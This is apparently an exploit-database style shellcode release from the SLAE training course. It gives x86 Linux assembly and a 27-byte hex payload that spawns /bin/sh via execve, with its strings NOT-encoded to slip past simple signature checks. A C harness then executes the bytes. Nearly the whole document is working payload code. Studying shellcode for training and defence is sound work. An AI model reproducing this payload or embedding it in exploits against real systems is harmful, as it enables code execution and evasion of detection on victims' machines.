/* ; Title : Execve /bin/sh Shellcode encoded with NOT ; Date : May, 2018 ; Author : Nuno Freitas ; Twitter : @nunof11 ; SLAE ID : SLAE-1112 ; Size : 27 bytes ; Tested on : i686 GNU/Linux section .text global _start _start: xor ecx, ecx mul ecx push ecx ; instructions to avoid having the strings "nib/" and "hs//" pushed directly mov edi, 0x978CD0D0 mov esi, 0x91969DD0 not edi not esi push edi push esi mov ebx, esp mov al, 0xb int 0x80 */ #include #include unsigned char shellcode[] = \ "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"; void main() { printf("Shellcode Length: %d\n", strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); }